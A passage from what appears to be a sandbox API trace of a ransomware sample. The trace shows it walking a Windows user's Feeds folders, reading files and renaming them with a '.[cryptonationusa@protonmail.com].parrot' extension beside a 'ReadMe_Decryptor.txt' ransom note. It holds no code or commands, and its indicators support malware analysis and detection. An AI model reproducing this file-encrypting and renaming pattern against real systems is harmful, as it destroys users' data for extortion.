ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.222] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.222] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.222] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1 [0076.222] lstrcmpW (lpString1="WebSlices~", lpString2=".") returned 1 [0076.222] lstrcmpW (lpString1="WebSlices~", lpString2="..") returned 1 [0076.222] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.269] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.269] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52d69eb0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.272] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.272] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.272] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x52d69eb0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x52d69eb0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6e0227e0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x8000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Suggested Sites~.feed-ms", cAlternateFileName="SUGGES~1.FEE")) returned 1 [0076.273] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.273] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0076.274] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.274] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x8000, lpOverlapped=0x0) returned 1 [0076.277] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.278] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Suggested Sites~.feed-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\suggested sites~.feed-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a6d40 | out: hHeap=0x5b0000) returned 1 [0076.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.281] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2210048 | out: hHeap=0x5b0000) returned 1 [0076.284] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0076.285] ReadFile (in: hFile=0x278, lpBuffer=0x18e950, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x18e950*, lpNumberOfBytesRead=0x18e8f4*=0x18, lpOverlapped=0x0) returned 1 [0076.287] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.287] ReadFile (in: hFile=0x278, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x18e8f4, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18e8f4*=0x7000, lpOverlapped=0x0) returned 1 [0076.289] SetFilePointerEx (in: hFile=0x278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.290] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\Web Slice Gallery~.feed-ms.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\microsoft\\feeds\\{5588acfd-6436-411b-a5ce-666ae6a92d3d}~\\webslices~\\web slice gallery~.feed-ms.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0076.291] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6aa8c0 | out: hHeap=0x5b0000) returned 1 [0076.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a8620 | out: hHeap=0x5b0000) returned 1 [0076.293] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x659230 | out: hHeap=0x5b0000) returned 1 [0076.295] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\WebSlices~\\*", fInfoLevelId=0x0, lpFindFileData=0x18e9ac, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18e9ac) returned 0x600510 [0076.295] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbaf4b400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbaf4b400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.295] FindNextFileW (in: hFindFile=0x600510, lpFindFileData=0x18e9ac | out: lpFindFileData=0x18e9ac*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xbaf252a0, ftCreationTime.dwHighDateTime=0x1d5e09d, ftLastAccessTime.dwLowDateTime=0xbaf252a0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbaf4b400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x258, dwReserved0=0x0, dwReserved1=0x0, cFileName="ReadMe_Decryptor.txt", cAlternateFileName="README~1.TXT")) returned 1 [0076.296] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.296] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.297] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbaf4b400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbaf4b400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 1 [0076.297] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbaf4b400, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbaf4b400, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="WebSlices~", cAlternateFileName="WEBSLI~1")) returned 0 [0076.297] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8428 | out: hHeap=0x5b0000) returned 1 [0076.297] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0076.298] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d8500 | out: hHeap=0x5b0000) returned 1 [0076.298] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28d257a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xff0498b1, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{5588ACFD-6436-411B-A5CE-666AE6A92D3D}~", cAlternateFileName="{5588A~1")) returned 0 [0076.298] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.298] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xbae40a60, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xbae40a60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.298] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xbae40a60, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x1b28, dwReserved0=0x0, dwReserved1=0x0, cFileName="FeedsStore.feedsdb-ms.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="FEEDSS~1.PAR")) returned 1 [0076.298] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\*", fInfoLevelId=0x0, lpFindFileData=0x18ef8c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ef8c) returned 0x600490 [0076.300] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.300] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f3aae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.300] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.300] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.300] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1NBUR4HR", cAlternateFileName="")) returned 1 [0076.300] lstrcmpW (lpString1="1NBUR4HR", lpString2=".") returned 1 [0076.300] lstrcmpW (lpString1="1NBUR4HR", lpString2="..") returned 1 [0076.301] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.301] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.301] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.301] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0076.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0076.301] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\1NBUR4HR\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0076.301] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfedc214c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0076.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb2e0 | out: hHeap=0x5b0000) returned 1 [0076.302] FindClose (in: hFindFile=0x6004d0 | out: hFindFile=0x6004d0) returned 1 [0076.302] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d33c8 | out: hHeap=0x5b0000) returned 1 [0076.302] FindNextFileW (in: hFindFile=0x600490, lpFindFileData=0x18ef8c | out: lpFindFileData=0x18ef8c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="6ASVN7J7", cAlternateFileName="")) returned 1 [0076.302] lstrcmpW (lpString1="6ASVN7J7", lpString2=".") returned 1 [0076.302] lstrcmpW (lpString1="6ASVN7J7", lpString2="..") returned 1 [0076.302] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.302] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0076.302] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.302] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0076.302] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0076.302] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.302] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0076.302] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 0 [0076.303] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Microsoft\\Feeds Cache\\6ASVN7J7\\*", fInfoLevelId=0x0, lpFindFileData=0x18ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18ec9c) returned 0x6004d0 [0076.303] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x28d257a0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0076.303] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfea09ee5, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x43, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0076.303] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fwlink[1]", cAlternateFileName="FWLINK~1")) returned 1 [0076.303] FindNextFileW (in: hFindFile=0x6004d0, lpFindFileData=0x18ec9c | out: lpFindFileData=0x18ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x28f14980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28f14980, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xfee8082e, 